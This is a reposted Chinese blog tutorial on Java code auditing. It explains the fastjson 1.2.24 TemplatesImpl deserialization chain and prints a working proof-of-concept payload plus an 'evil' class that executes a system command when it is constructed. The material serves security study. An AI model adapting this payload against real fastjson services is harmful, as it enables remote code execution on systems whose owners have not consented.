栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 前沿技术 > 大数据 > 大数据系统

Java代码审计——fastjson TemplatesImpl调用链

Java代码审计——fastjson TemplatesImpl调用链

0x00 前言

反序列化总纲

除开jdbc调用链,还有一个TemplatesImpl的调用链,这个在CC链中是出现过的。可以参考:调用链

主要的要点在满以下三个变量

  • _bytecodes
  • _name
  • _tfactory
    还有就是调用newTransformer的方法
0x01 调用链

先上poc:

  final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  ClassPool classPool = ClassPool.getDefault();
  CtClass ctClass = classPool.getCtClass("evil");
  byte[] bytes = ctClass.toBytecode();
  String encoded = base64.getEncoder().encodeToString(bytes);
  String payload = "{"@type":"" + CLASS +
          "","_bytecodes":[""+encoded+""],'_name':'a.b','_tfactory':{ },"_outputProperties":{}}";
  JSON.parseObject(payload,Feature.SupportNonPublicField);

evil类:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
    public evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    public static void main(String[] args) throws IOException {
        evil obj = new evil();
    }
}
问题1:Feature.SupportNonPublicField

首先在poc中,可以看到多了parseObject这个参数:
Feature.SupportNonPublicField,为什么会有这个参数,这里就是说,如果不仅仅是走set方法的话,要走get的话,就需要设置这个参数

问题2:为什么需要调用get方法

那么为什么需要调用get方法,我们终归是要使用newTransformer方法去触发,但是不能通过fastjson来进行调用

那么就需要通过getOutputProperties来进行调用,所以我们的目标就转移到了_outputProperties

问题3:为什么_bytecodes为什么要编码

当走到fastjson-1.2.24.jar!comalibabafastjsonserializerObjectArrayCodec.class时,会对bytes进行处理

然后回对byte字段进行base64解码操作

0x02 要点笔记
  • byte为什么编码
  • TemplatesImpl调用链的条件
  • 为什么需要调用get方法
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/654299.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号